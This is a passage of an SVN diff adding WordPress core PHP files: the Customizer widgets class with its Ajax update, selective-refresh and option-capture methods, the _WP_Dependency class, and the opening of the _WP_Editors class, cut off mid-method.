+		if ( false === $instance ) {
+			return;
+		}
+
+		return $instance;
+	}
+
+	/**
+	 * Converts a widget instance into JSON-representable format.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param array $value Widget instance to convert to JSON.
+	 * @return array JSON-converted widget instance.
+	 */
+	public function sanitize_widget_js_instance( $value ) {
+		if ( empty( $value['is_widget_customizer_js_value'] ) ) {
+			$serialized = serialize( $value );
+
+			$value = array(
+				'encoded_serialized_instance'   => base64_encode( $serialized ),
+				'title'                         => empty( $value['title'] ) ? '' : $value['title'],
+				'is_widget_customizer_js_value' => true,
+				'instance_hash_key'             => $this->get_instance_hash_key( $serialized ),
+			);
+		}
+		return $value;
+	}
+
+	/**
+	 * Strips out widget IDs for widgets which are no longer registered.
+	 *
+	 * One example where this might happen is when a plugin orphans a widget
+	 * in a sidebar upon deactivation.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @global array $wp_registered_widgets
+	 *
+	 * @param array $widget_ids List of widget IDs.
+	 * @return array Parsed list of widget IDs.
+	 */
+	public function sanitize_sidebar_widgets_js_instance( $widget_ids ) {
+		global $wp_registered_widgets;
+		$widget_ids = array_values( array_intersect( $widget_ids, array_keys( $wp_registered_widgets ) ) );
+		return $widget_ids;
+	}
+
+	/**
+	 * Finds and invokes the widget update and control callbacks.
+	 *
+	 * Requires that `$_POST` be populated with the instance data.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @global array $wp_registered_widget_updates
+	 * @global array $wp_registered_widget_controls
+	 *
+	 * @param  string $widget_id Widget ID.
+	 * @return WP_Error|array Array containing the updated widget information.
+	 *                        A WP_Error object, otherwise.
+	 */
+	public function call_widget_update( $widget_id ) {
+		global $wp_registered_widget_updates, $wp_registered_widget_controls;
+
+		$setting_id = $this->get_setting_id( $widget_id );
+
+		/*
+		 * Make sure that other setting changes have previewed since this widget
+		 * may depend on them (e.g. Menus being present for Navigation Menu widget).
+		 */
+		if ( ! did_action( 'customize_preview_init' ) ) {
+			foreach ( $this->manager->settings() as $setting ) {
+				if ( $setting->id !== $setting_id ) {
+					$setting->preview();
+				}
+			}
+		}
+
+		$this->start_capturing_option_updates();
+		$parsed_id   = $this->parse_widget_id( $widget_id );
+		$option_name = 'widget_' . $parsed_id['id_base'];
+
+		/*
+		 * If a previously-sanitized instance is provided, populate the input vars
+		 * with its values so that the widget update callback will read this instance
+		 */
+		$added_input_vars = array();
+		if ( ! empty( $_POST['sanitized_widget_setting'] ) ) {
+			$sanitized_widget_setting = json_decode( $this->get_post_value( 'sanitized_widget_setting' ), true );
+			if ( false === $sanitized_widget_setting ) {
+				$this->stop_capturing_option_updates();
+				return new WP_Error( 'widget_setting_malformed' );
+			}
+
+			$instance = $this->sanitize_widget_instance( $sanitized_widget_setting );
+			if ( is_null( $instance ) ) {
+				$this->stop_capturing_option_updates();
+				return new WP_Error( 'widget_setting_unsanitized' );
+			}
+
+			if ( ! is_null( $parsed_id['number'] ) ) {
+				$value = array();
+				$value[$parsed_id['number']] = $instance;
+				$key = 'widget-' . $parsed_id['id_base'];
+				$_REQUEST[$key] = $_POST[$key] = wp_slash( $value );
+				$added_input_vars[] = $key;
+			} else {
+				foreach ( $instance as $key => $value ) {
+					$_REQUEST[$key] = $_POST[$key] = wp_slash( $value );
+					$added_input_vars[] = $key;
+				}
+			}
+		}
+
+		// Invoke the widget update callback.
+		foreach ( (array) $wp_registered_widget_updates as $name => $control ) {
+			if ( $name === $parsed_id['id_base'] && is_callable( $control['callback'] ) ) {
+				ob_start();
+				call_user_func_array( $control['callback'], $control['params'] );
+				ob_end_clean();
+				break;
+			}
+		}
+
+		// Clean up any input vars that were manually added
+		foreach ( $added_input_vars as $key ) {
+			unset( $_POST[ $key ] );
+			unset( $_REQUEST[ $key ] );
+		}
+
+		// Make sure the expected option was updated.
+		if ( 0 !== $this->count_captured_options() ) {
+			if ( $this->count_captured_options() > 1 ) {
+				$this->stop_capturing_option_updates();
+				return new WP_Error( 'widget_setting_too_many_options' );
+			}
+
+			$updated_option_name = key( $this->get_captured_options() );
+			if ( $updated_option_name !== $option_name ) {
+				$this->stop_capturing_option_updates();
+				return new WP_Error( 'widget_setting_unexpected_option' );
+			}
+		}
+
+		// Obtain the widget instance.
+		$option = $this->get_captured_option( $option_name );
+		if ( null !== $parsed_id['number'] ) {
+			$instance = $option[ $parsed_id['number'] ];
+		} else {
+			$instance = $option;
+		}
+
+		/*
+		 * Override the incoming $_POST['customized'] for a newly-created widget's
+		 * setting with the new $instance so that the preview filter currently
+		 * in place from WP_Customize_Setting::preview() will use this value
+		 * instead of the default widget instance value (an empty array).
+		 */
+		$this->manager->set_post_value( $setting_id, $this->sanitize_widget_js_instance( $instance ) );
+
+		// Obtain the widget control with the updated instance in place.
+		ob_start();
+		$form = $wp_registered_widget_controls[ $widget_id ];
+		if ( $form ) {
+			call_user_func_array( $form['callback'], $form['params'] );
+		}
+		$form = ob_get_clean();
+
+		$this->stop_capturing_option_updates();
+
+		return compact( 'instance', 'form' );
+	}
+
+	/**
+	 * Updates widget settings asynchronously.
+	 *
+	 * Allows the Customizer to update a widget using its form, but return the new
+	 * instance info via Ajax instead of saving it to the options table.
+	 *
+	 * Most code here copied from wp_ajax_save_widget().
+	 *
+	 * @since 3.9.0
+	 *
+	 * @see wp_ajax_save_widget()
+	 */
+	public function wp_ajax_update_widget() {
+
+		if ( ! is_user_logged_in() ) {
+			wp_die( 0 );
+		}
+
+		check_ajax_referer( 'update-widget', 'nonce' );
+
+		if ( ! current_user_can( 'edit_theme_options' ) ) {
+			wp_die( -1 );
+		}
+
+		if ( empty( $_POST['widget-id'] ) ) {
+			wp_send_json_error( 'missing_widget-id' );
+		}
+
+		/** This action is documented in wp-admin/includes/ajax-actions.php */
+		do_action( 'load-widgets.php' );
+
+		/** This action is documented in wp-admin/includes/ajax-actions.php */
+		do_action( 'widgets.php' );
+
+		/** This action is documented in wp-admin/widgets.php */
+		do_action( 'sidebar_admin_setup' );
+
+		$widget_id = $this->get_post_value( 'widget-id' );
+		$parsed_id = $this->parse_widget_id( $widget_id );
+		$id_base = $parsed_id['id_base'];
+
+		$is_updating_widget_template = (
+			isset( $_POST[ 'widget-' . $id_base ] )
+			&&
+			is_array( $_POST[ 'widget-' . $id_base ] )
+			&&
+			preg_match( '/__i__|%i%/', key( $_POST[ 'widget-' . $id_base ] ) )
+		);
+		if ( $is_updating_widget_template ) {
+			wp_send_json_error( 'template_widget_not_updatable' );
+		}
+
+		$updated_widget = $this->call_widget_update( $widget_id ); // => {instance,form}
+		if ( is_wp_error( $updated_widget ) ) {
+			wp_send_json_error( $updated_widget->get_error_code() );
+		}
+
+		$form = $updated_widget['form'];
+		$instance = $this->sanitize_widget_js_instance( $updated_widget['instance'] );
+
+		wp_send_json_success( compact( 'form', 'instance' ) );
+	}
+
+	/*
+	 * Selective Refresh Methods
+	 */
+
+	/**
+	 * Filters arguments for dynamic widget partials.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param array|false $partial_args Partial arguments.
+	 * @param string      $partial_id   Partial ID.
+	 * @return array (Maybe) modified partial arguments.
+	 */
+	public function customize_dynamic_partial_args( $partial_args, $partial_id ) {
+		if ( ! current_theme_supports( 'customize-selective-refresh-widgets' ) ) {
+			return $partial_args;
+		}
+
+		if ( preg_match( '/^widget\[(?P<widget_id>.+)\]$/', $partial_id, $matches ) ) {
+			if ( false === $partial_args ) {
+				$partial_args = array();
+			}
+			$partial_args = array_merge(
+				$partial_args,
+				array(
+					'type'                => 'widget',
+					'render_callback'     => array( $this, 'render_widget_partial' ),
+					'container_inclusive' => true,
+					'settings'            => array( $this->get_setting_id( $matches['widget_id'] ) ),
+					'capability'          => 'edit_theme_options',
+				)
+			);
+		}
+
+		return $partial_args;
+	}
+
+	/**
+	 * Adds hooks for selective refresh.
+	 *
+	 * @since 4.5.0
+	 */
+	public function selective_refresh_init() {
+		if ( ! current_theme_supports( 'customize-selective-refresh-widgets' ) ) {
+			return;
+		}
+		add_filter( 'dynamic_sidebar_params', array( $this, 'filter_dynamic_sidebar_params' ) );
+		add_filter( 'wp_kses_allowed_html', array( $this, 'filter_wp_kses_allowed_data_attributes' ) );
+		add_action( 'dynamic_sidebar_before', array( $this, 'start_dynamic_sidebar' ) );
+		add_action( 'dynamic_sidebar_after', array( $this, 'end_dynamic_sidebar' ) );
+	}
+
+	/**
+	 * Inject selective refresh data attributes into widget container elements.
+	 *
+	 * @param array $params {
+	 *     Dynamic sidebar params.
+	 *
+	 *     @type array $args        Sidebar args.
+	 *     @type array $widget_args Widget args.
+	 * }
+	 * @see WP_Customize_Nav_Menus_Partial_Refresh::filter_wp_nav_menu_args()
+	 *
+	 * @return array Params.
+	 */
+	public function filter_dynamic_sidebar_params( $params ) {
+		$sidebar_args = array_merge(
+			array(
+				'before_widget' => '',
+				'after_widget' => '',
+			),
+			$params[0]
+		);
+
+		// Skip widgets not in a registered sidebar or ones which lack a proper wrapper element to attach the data-* attributes to.
+		$matches = array();
+		$is_valid = (
+			isset( $sidebar_args['id'] )
+			&&
+			is_registered_sidebar( $sidebar_args['id'] )
+			&&
+			( isset( $this->current_dynamic_sidebar_id_stack[0] ) && $this->current_dynamic_sidebar_id_stack[0] === $sidebar_args['id'] )
+			&&
+			preg_match( '#^<(?P<tag_name>\w+)#', $sidebar_args['before_widget'], $matches )
+		);
+		if ( ! $is_valid ) {
+			return $params;
+		}
+		$this->before_widget_tags_seen[ $matches['tag_name'] ] = true;
+
+		$context = array(
+			'sidebar_id' => $sidebar_args['id'],
+		);
+		if ( isset( $this->context_sidebar_instance_number ) ) {
+			$context['sidebar_instance_number'] = $this->context_sidebar_instance_number;
+		} else if ( isset( $sidebar_args['id'] ) && isset( $this->sidebar_instance_count[ $sidebar_args['id'] ] ) ) {
+			$context['sidebar_instance_number'] = $this->sidebar_instance_count[ $sidebar_args['id'] ];
+		}
+
+		$attributes = sprintf( ' data-customize-partial-id="%s"', esc_attr( 'widget[' . $sidebar_args['widget_id'] . ']' ) );
+		$attributes .= ' data-customize-partial-type="widget"';
+		$attributes .= sprintf( ' data-customize-partial-placement-context="%s"', esc_attr( wp_json_encode( $context ) ) );
+		$attributes .= sprintf( ' data-customize-widget-id="%s"', esc_attr( $sidebar_args['widget_id'] ) );
+		$sidebar_args['before_widget'] = preg_replace( '#^(<\w+)#', '$1 ' . $attributes, $sidebar_args['before_widget'] );
+
+		$params[0] = $sidebar_args;
+		return $params;
+	}
+
+	/**
+	 * List of the tag names seen for before_widget strings.
+	 *
+	 * This is used in the {@see 'filter_wp_kses_allowed_html'} filter to ensure that the
+	 * data-* attributes can be whitelisted.
+	 *
+	 * @since 4.5.0
+	 * @var array
+	 */
+	protected $before_widget_tags_seen = array();
+
+	/**
+	 * Ensures the HTML data-* attributes for selective refresh are allowed by kses.
+	 *
+	 * This is needed in case the `$before_widget` is run through wp_kses() when printed.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param array $allowed_html Allowed HTML.
+	 * @return array (Maybe) modified allowed HTML.
+	 */
+	public function filter_wp_kses_allowed_data_attributes( $allowed_html ) {
+		foreach ( array_keys( $this->before_widget_tags_seen ) as $tag_name ) {
+			if ( ! isset( $allowed_html[ $tag_name ] ) ) {
+				$allowed_html[ $tag_name ] = array();
+			}
+			$allowed_html[ $tag_name ] = array_merge(
+				$allowed_html[ $tag_name ],
+				array_fill_keys( array(
+					'data-customize-partial-id',
+					'data-customize-partial-type',
+					'data-customize-partial-placement-context',
+					'data-customize-partial-widget-id',
+					'data-customize-partial-options',
+				), true )
+			);
+		}
+		return $allowed_html;
+	}
+
+	/**
+	 * Keep track of the number of times that dynamic_sidebar() was called for a given sidebar index.
+	 *
+	 * This helps facilitate the uncommon scenario where a single sidebar is rendered multiple times on a template.
+	 *
+	 * @since 4.5.0
+	 * @var array
+	 */
+	protected $sidebar_instance_count = array();
+
+	/**
+	 * The current request's sidebar_instance_number context.
+	 *
+	 * @since 4.5.0
+	 * @var int
+	 */
+	protected $context_sidebar_instance_number;
+
+	/**
+	 * Current sidebar ID being rendered.
+	 *
+	 * @since 4.5.0
+	 * @var array
+	 */
+	protected $current_dynamic_sidebar_id_stack = array();
+
+	/**
+	 * Begins keeping track of the current sidebar being rendered.
+	 *
+	 * Insert marker before widgets are rendered in a dynamic sidebar.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param int|string $index Index, name, or ID of the dynamic sidebar.
+	 */
+	public function start_dynamic_sidebar( $index ) {
+		array_unshift( $this->current_dynamic_sidebar_id_stack, $index );
+		if ( ! isset( $this->sidebar_instance_count[ $index ] ) ) {
+			$this->sidebar_instance_count[ $index ] = 0;
+		}
+		$this->sidebar_instance_count[ $index ] += 1;
+		if ( ! $this->manager->selective_refresh->is_render_partials_request() ) {
+			printf( "\n<!--dynamic_sidebar_before:%s:%d-->\n", esc_html( $index ), intval( $this->sidebar_instance_count[ $index ] ) );
+		}
+	}
+
+	/**
+	 * Finishes keeping track of the current sidebar being rendered.
+	 *
+	 * Inserts a marker after widgets are rendered in a dynamic sidebar.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param int|string $index Index, name, or ID of the dynamic sidebar.
+	 */
+	public function end_dynamic_sidebar( $index ) {
+		array_shift( $this->current_dynamic_sidebar_id_stack );
+		if ( ! $this->manager->selective_refresh->is_render_partials_request() ) {
+			printf( "\n<!--dynamic_sidebar_after:%s:%d-->\n", esc_html( $index ), intval( $this->sidebar_instance_count[ $index ] ) );
+		}
+	}
+
+	/**
+	 * Current sidebar being rendered.
+	 *
+	 * @since 4.5.0
+	 * @var string
+	 */
+	protected $rendering_widget_id;
+
+	/**
+	 * Current widget being rendered.
+	 *
+	 * @since 4.5.0
+	 * @var string
+	 */
+	protected $rendering_sidebar_id;
+
+	/**
+	 * Filters sidebars_widgets to ensure the currently-rendered widget is the only widget in the current sidebar.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param array $sidebars_widgets Sidebars widgets.
+	 * @return array Filtered sidebars widgets.
+	 */
+	public function filter_sidebars_widgets_for_rendering_widget( $sidebars_widgets ) {
+		$sidebars_widgets[ $this->rendering_sidebar_id ] = array( $this->rendering_widget_id );
+		return $sidebars_widgets;
+	}
+
+	/**
+	 * Renders a specific widget using the supplied sidebar arguments.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @see dynamic_sidebar()
+	 *
+	 * @param WP_Customize_Partial $partial Partial.
+	 * @param array                $context {
+	 *     Sidebar args supplied as container context.
+	 *
+	 *     @type string $sidebar_id              ID for sidebar for widget to render into.
+	 *     @type int    $sidebar_instance_number Disambiguating instance number.
+	 * }
+	 * @return string|false
+	 */
+	public function render_widget_partial( $partial, $context ) {
+		$id_data   = $partial->id_data();
+		$widget_id = array_shift( $id_data['keys'] );
+
+		if ( ! is_array( $context )
+			|| empty( $context['sidebar_id'] )
+			|| ! is_registered_sidebar( $context['sidebar_id'] )
+		) {
+			return false;
+		}
+
+		$this->rendering_sidebar_id = $context['sidebar_id'];
+
+		if ( isset( $context['sidebar_instance_number'] ) ) {
+			$this->context_sidebar_instance_number = intval( $context['sidebar_instance_number'] );
+		}
+
+		// Filter sidebars_widgets so that only the queried widget is in the sidebar.
+		$this->rendering_widget_id = $widget_id;
+
+		$filter_callback = array( $this, 'filter_sidebars_widgets_for_rendering_widget' );
+		add_filter( 'sidebars_widgets', $filter_callback, 1000 );
+
+		// Render the widget.
+		ob_start();
+		dynamic_sidebar( $this->rendering_sidebar_id = $context['sidebar_id'] );
+		$container = ob_get_clean();
+
+		// Reset variables for next partial render.
+		remove_filter( 'sidebars_widgets', $filter_callback, 1000 );
+
+		$this->context_sidebar_instance_number = null;
+		$this->rendering_sidebar_id = null;
+		$this->rendering_widget_id = null;
+
+		return $container;
+	}
+
+	//
+	// Option Update Capturing
+	//
+
+	/**
+	 * List of captured widget option updates.
+	 *
+	 * @since 3.9.0
+	 * @var array $_captured_options Values updated while option capture is happening.
+	 */
+	protected $_captured_options = array();
+
+	/**
+	 * Whether option capture is currently happening.
+	 *
+	 * @since 3.9.0
+	 * @var bool $_is_current Whether option capture is currently happening or not.
+	 */
+	protected $_is_capturing_option_updates = false;
+
+	/**
+	 * Determines whether the captured option update should be ignored.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param string $option_name Option name.
+	 * @return bool Whether the option capture is ignored.
+	 */
+	protected function is_option_capture_ignored( $option_name ) {
+		return ( 0 === strpos( $option_name, '_transient_' ) );
+	}
+
+	/**
+	 * Retrieves captured widget option updates.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @return array Array of captured options.
+	 */
+	protected function get_captured_options() {
+		return $this->_captured_options;
+	}
+
+	/**
+	 * Retrieves the option that was captured from being saved.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param string $option_name Option name.
+	 * @param mixed  $default     Optional. Default value to return if the option does not exist. Default false.
+	 * @return mixed Value set for the option.
+	 */
+	protected function get_captured_option( $option_name, $default = false ) {
+		if ( array_key_exists( $option_name, $this->_captured_options ) ) {
+			$value = $this->_captured_options[ $option_name ];
+		} else {
+			$value = $default;
+		}
+		return $value;
+	}
+
+	/**
+	 * Retrieves the number of captured widget option updates.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @return int Number of updated options.
+	 */
+	protected function count_captured_options() {
+		return count( $this->_captured_options );
+	}
+
+	/**
+	 * Begins keeping track of changes to widget options, caching new values.
+	 *
+	 * @since 3.9.0
+	 */
+	protected function start_capturing_option_updates() {
+		if ( $this->_is_capturing_option_updates ) {
+			return;
+		}
+
+		$this->_is_capturing_option_updates = true;
+
+		add_filter( 'pre_update_option', array( $this, 'capture_filter_pre_update_option' ), 10, 3 );
+	}
+
+	/**
+	 * Pre-filters captured option values before updating.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param mixed  $new_value   The new option value.
+	 * @param string $option_name Name of the option.
+	 * @param mixed  $old_value   The old option value.
+	 * @return mixed Filtered option value.
+	 */
+	public function capture_filter_pre_update_option( $new_value, $option_name, $old_value ) {
+		if ( $this->is_option_capture_ignored( $option_name ) ) {
+			return;
+		}
+
+		if ( ! isset( $this->_captured_options[ $option_name ] ) ) {
+			add_filter( "pre_option_{$option_name}", array( $this, 'capture_filter_pre_get_option' ) );
+		}
+
+		$this->_captured_options[ $option_name ] = $new_value;
+
+		return $old_value;
+	}
+
+	/**
+	 * Pre-filters captured option values before retrieving.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param mixed $value Value to return instead of the option value.
+	 * @return mixed Filtered option value.
+	 */
+	public function capture_filter_pre_get_option( $value ) {
+		$option_name = preg_replace( '/^pre_option_/', '', current_filter() );
+
+		if ( isset( $this->_captured_options[ $option_name ] ) ) {
+			$value = $this->_captured_options[ $option_name ];
+
+			/** This filter is documented in wp-includes/option.php */
+			$value = apply_filters( 'option_' . $option_name, $value, $option_name );
+		}
+
+		return $value;
+	}
+
+	/**
+	 * Undoes any changes to the options since options capture began.
+	 *
+	 * @since 3.9.0
+	 */
+	protected function stop_capturing_option_updates() {
+		if ( ! $this->_is_capturing_option_updates ) {
+			return;
+		}
+
+		remove_filter( 'pre_update_option', array( $this, 'capture_filter_pre_update_option' ), 10 );
+
+		foreach ( array_keys( $this->_captured_options ) as $option_name ) {
+			remove_filter( "pre_option_{$option_name}", array( $this, 'capture_filter_pre_get_option' ) );
+		}
+
+		$this->_captured_options = array();
+		$this->_is_capturing_option_updates = false;
+	}
+
+	/**
+	 * {@internal Missing Summary}
+	 *
+	 * See the {@see 'customize_dynamic_setting_args'} filter.
+	 *
+	 * @since 3.9.0
+	 * @deprecated 4.2.0 Deprecated in favor of the {@see 'customize_dynamic_setting_args'} filter.
+	 */
+	public function setup_widget_addition_previews() {
+		_deprecated_function( __METHOD__, '4.2.0', 'customize_dynamic_setting_args' );
+	}
+
+	/**
+	 * {@internal Missing Summary}
+	 *
+	 * See the {@see 'customize_dynamic_setting_args'} filter.
+	 *
+	 * @since 3.9.0
+	 * @deprecated 4.2.0 Deprecated in favor of the {@see 'customize_dynamic_setting_args'} filter.
+	 */
+	public function prepreview_added_sidebars_widgets() {
+		_deprecated_function( __METHOD__, '4.2.0', 'customize_dynamic_setting_args' );
+	}
+
+	/**
+	 * {@internal Missing Summary}
+	 *
+	 * See the {@see 'customize_dynamic_setting_args'} filter.
+	 *
+	 * @since 3.9.0
+	 * @deprecated 4.2.0 Deprecated in favor of the {@see 'customize_dynamic_setting_args'} filter.
+	 */
+	public function prepreview_added_widget_instance() {
+		_deprecated_function( __METHOD__, '4.2.0', 'customize_dynamic_setting_args' );
+	}
+
+	/**
+	 * {@internal Missing Summary}
+	 *
+	 * See the {@see 'customize_dynamic_setting_args'} filter.
+	 *
+	 * @since 3.9.0
+	 * @deprecated 4.2.0 Deprecated in favor of the {@see 'customize_dynamic_setting_args'} filter.
+	 */
+	public function remove_prepreview_filters() {
+		_deprecated_function( __METHOD__, '4.2.0', 'customize_dynamic_setting_args' );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-dependency.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-dependency.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-dependency.php	(revision 56912)
@@ -0,0 +1,120 @@
+<?php
+/**
+ * Dependencies API: _WP_Dependency class
+ *
+ * @since 4.7.0
+ *
+ * @package WordPress
+ * @subpackage Dependencies
+ */
+
+/**
+ * Class _WP_Dependency
+ *
+ * Helper class to register a handle and associated data.
+ *
+ * @access private
+ * @since 2.6.0
+ */
+class _WP_Dependency {
+	/**
+	 * The handle name.
+	 *
+	 * @since 2.6.0
+	 * @var null
+	 */
+	public $handle;
+
+	/**
+	 * The handle source.
+	 *
+	 * @since 2.6.0
+	 * @var null
+	 */
+	public $src;
+
+	/**
+	 * An array of handle dependencies.
+	 *
+	 * @since 2.6.0
+	 * @var array
+	 */
+	public $deps = array();
+
+	/**
+	 * The handle version.
+	 *
+	 * Used for cache-busting.
+	 *
+	 * @since 2.6.0
+	 * @var bool|string
+	 */
+	public $ver = false;
+
+	/**
+	 * Additional arguments for the handle.
+	 *
+	 * @since 2.6.0
+	 * @var null
+	 */
+	public $args = null;  // Custom property, such as $in_footer or $media.
+
+	/**
+	 * Extra data to supply to the handle.
+	 *
+	 * @since 2.6.0
+	 * @var array
+	 */
+	public $extra = array();
+
+	/**
+	 * Translation textdomain set for this dependency.
+	 *
+	 * @since 5.0.0
+	 * @var string
+	 */
+	public $textdomain;
+
+	/**
+	 * Translation path set for this dependency.
+	 *
+	 * @since 5.0.0
+	 * @var string
+	 */
+	public $translations_path;
+
+	/**
+	 * Setup dependencies.
+	 *
+	 * @since 2.6.0
+	 */
+	public function __construct() {
+		@list( $this->handle, $this->src, $this->deps, $this->ver, $this->args ) = func_get_args();
+		if ( ! is_array($this->deps) )
+			$this->deps = array();
+	}
+
+	/**
+	 * Add handle data.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param string $name The data key to add.
+	 * @param mixed  $data The data value to add.
+	 * @return bool False if not scalar, true otherwise.
+	 */
+	public function add_data( $name, $data ) {
+		if ( !is_scalar($name) )
+			return false;
+		$this->extra[$name] = $data;
+		return true;
+	}
+
+	public function set_translations( $domain, $path = null ) {
+		if ( !is_string($domain) )
+			return false;
+		$this->textdomain        = $domain;
+		$this->translations_path = $path;
+		return true;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-editor.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-editor.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-editor.php	(revision 56912)
@@ -0,0 +1,1767 @@
+<?php
+/**
+ * Facilitates adding of the WordPress editor as used on the Write and Edit screens.
+ *
+ * @package WordPress
+ * @since 3.3.0
+ *
+ * Private, not included by default. See wp_editor() in wp-includes/general-template.php.
+ */
+
+final class _WP_Editors {
+	public static $mce_locale;
+
+	private static $mce_settings = array();
+	private static $qt_settings = array();
+	private static $plugins = array();
+	private static $qt_buttons = array();
+	private static $ext_plugins;
+	private static $baseurl;
+	private static $first_init;
+	private static $this_tinymce = false;
+	private static $this_quicktags = false;
+	private static $has_tinymce = false;
+	private static $has_quicktags = false;
+	private static $has_medialib = false;
+	private static $editor_buttons_css = true;
+	private static $drag_drop_upload = false;
+	private static $old_dfw_compat = false;
+	private static $translation;
+	private static $tinymce_scripts_printed = false;
+	private static $link_dialog_printed = false;
+
+	private function __construct() {}
+
+	/**
+	 * Parse default arguments for the editor instance.
+	 *
+	 * @static
+	 * @param string $editor_id ID for the current editor instance.
+	 * @param array  $settings {
+	 *     Array of editor arguments.
+	 *
+	 *     @type bool       $wpautop           Whether to use wpautop(). Default true.
+	 *     @type bool       $media_buttons     Whether to show the Add Media/other media buttons.
+	 *     @type string     $default_editor    When both TinyMCE and Quicktags are used, set which
+	 *                                         editor is shown on page load. Default empty.
+	 *     @type bool       $drag_drop_upload  Whether to enable drag & drop on the editor uploading. Default false.
+	 *                                         Requires the media modal.
+	 *     @type string     $textarea_name     Give the textarea a unique name here. Square brackets
+	 *                                         can be used here. Default $editor_id.
+	 *     @type int        $textarea_rows     Number rows in the editor textarea. Default 20.
+	 *     @type string|int $tabindex          Tabindex value to use. Default empty.
+	 *     @type string     $tabfocus_elements The previous and next element ID to move the focus to
+	 *                                         when pressing the Tab key in TinyMCE. Default ':prev,:next'.
+	 *     @type string     $editor_css        Intended for extra styles for both Visual and Text editors.
+	 *                                         Should include `<style>` tags, and can use "scoped". Default empty.
+	 *     @type string     $editor_class      Extra classes to add to the editor textarea element. Default empty.
+	 *     @type bool       $teeny             Whether to output the minimal editor config. Examples include
+	 *                                         Press This and the Comment editor. Default false.
+	 *     @type bool       $dfw               Deprecated in 4.1. Since 4.3 used only to enqueue wp-fullscreen-stub.js
+	 *                                         for backward compatibility.
+	 *     @type bool|array $tinymce           Whether to load TinyMCE. Can be used to pass settings directly to
+	 *                                         TinyMCE using an array. Default true.
+	 *     @type bool|array $quicktags         Whether to load Quicktags. Can be used to pass settings directly to
+	 *                                         Quicktags using an array. Default true.
+	 * }
+	 * @return array Parsed arguments array.
+	 */
+	public static function parse_settings( $editor_id, $settings ) {
+
+		/**
+		 * Filters the wp_editor() settings.
+		 *
+		 * @since 4.0.0
+		 *
+		 * @see _WP_Editors()::parse_settings()
+		 *
+		 * @param array  $settings  Array of editor arguments.
+		 * @param string $editor_id ID for the current editor instance.
+		 */
+		$settings = apply_filters( 'wp_editor_settings', $settings, $editor_id );
+
+		$set = wp_parse_args( $settings, array(
+			// Disable autop if the current post has blocks in it.
+			'wpautop'             => ! has_blocks(),
+			'media_buttons'       => true,
+			'default_editor'      => '',
+			'drag_drop_upload'    => false,
+			'textarea_name'       => $editor_id,
+			'textarea_rows'       => 20,
+			'tabindex'            => '',
+			'tabfocus_elements'   => ':prev,:next',
+			'editor_css'          => '',
+			'editor_class'        => '',
+			'teeny'               => false,
+			'dfw'                 => false,
+			'_content_editor_dfw' => false,
+			'tinymce'             => true,
+			'quicktags'           => true
+		) );
+
+		self::$this_tinymce = ( $set['tinymce'] && user_can_richedit() );
+
+		if ( self::$this_tinymce ) {
+			if ( false !== strpos( $editor_id, '[' ) ) {
+				self::$this_tinymce = false;
+				_deprecated_argument( 'wp_editor()', '3.9.0', 'TinyMCE editor IDs cannot have brackets.' );
+			}
+		}
+
+		self::$this_quicktags = (bool) $set['quicktags'];
+
+		if ( self::$this_tinymce )
+			self::$has_tinymce = true;
+
+		if ( self::$this_quicktags )
+			self::$has_quicktags = true;
+
+		if ( $set['dfw'] ) {
+			self::$old_dfw_compat = true;
+		}
+
+		if ( empty( $set['editor_height'] ) )
+			return $set;
+
+		if ( 'content' === $editor_id && empty( $set['tinymce']['wp_autoresize_on'] ) ) {
+			// A cookie (set when a user resizes the editor) overrides the height.
+			$cookie = (int) get_user_setting( 'ed_size' );
+
+			if ( $cookie )
+				$set['editor_height'] = $cookie;
+		}
+
+		if ( $set['editor_height'] < 50 )
+			$set['editor_height'] = 50;
+		elseif ( $set['editor_height'] > 5000 )
+			$set['editor_height'] = 5000;
+
+		return $set;
+	}
+
+	/**
+	 * Outputs the HTML for a single instance of the editor.
+	 *
+	 * @static
+	 * @param string $content The initial content of the editor.
+	 * @param string $editor_id ID for the textarea and TinyMCE and Quicktags instances (can contain only ASCII letters and numbers).
+	 * @param array $settings See _WP_Editors()::parse_settings() for description.
+	 */
+	public static function editor( $content, $editor_id, $settings = array() ) {
+		$set = self::parse_settings( $editor_id, $settings );
+		$editor_class = ' class="' . trim( esc_attr( $set['editor_class'] ) . ' wp-editor-area' ) . '"';
+		$tabindex = $set['tabindex'] ? ' tabindex="' . (int) $set['tabindex'] . '"' : '';
+		$default_editor = 'html';
+		$buttons = $autocomplete = '';
+		$editor_id_attr = esc_attr( $editor_id );
+
+		if ( $set['drag_drop_upload'] ) {
+			self::$drag_drop_upload = true;
+		}
+
+		if ( ! empty( $set['editor_height'] ) ) {
+			$height = ' style="height: ' . (int) $set['editor_height'] . 'px"';
+		} else {
+			$height = ' rows="' . (int) $set['textarea_rows'] . '"';
+		}
+
+		if ( ! current_user_can( 'upload_files' ) ) {
+			$set['media_buttons'] = false;
+		}
+
+		if ( self::$this_tinymce ) {
+			$autocomplete = ' autocomplete="off"';
+
+			if ( self::$this_quicktags ) {
+				$default_editor = $set['default_editor'] ? $set['default_editor'] : wp_default_editor();
+				// 'html' is used for the "Text" editor tab.
+				if ( 'html' !== $default_editor ) {
+					$default_editor = 'tinymce';
+				}
+
+				$buttons .= '<button type="button" id="' . $editor_id_attr . '-tmce" class="wp-switch-editor switch-tmce"' .
+					' data-wp-editor-id="' . $editor_id_attr . '">' . _x( 'Visual', 'Name for the Visual editor tab' ) . "</button>\n";
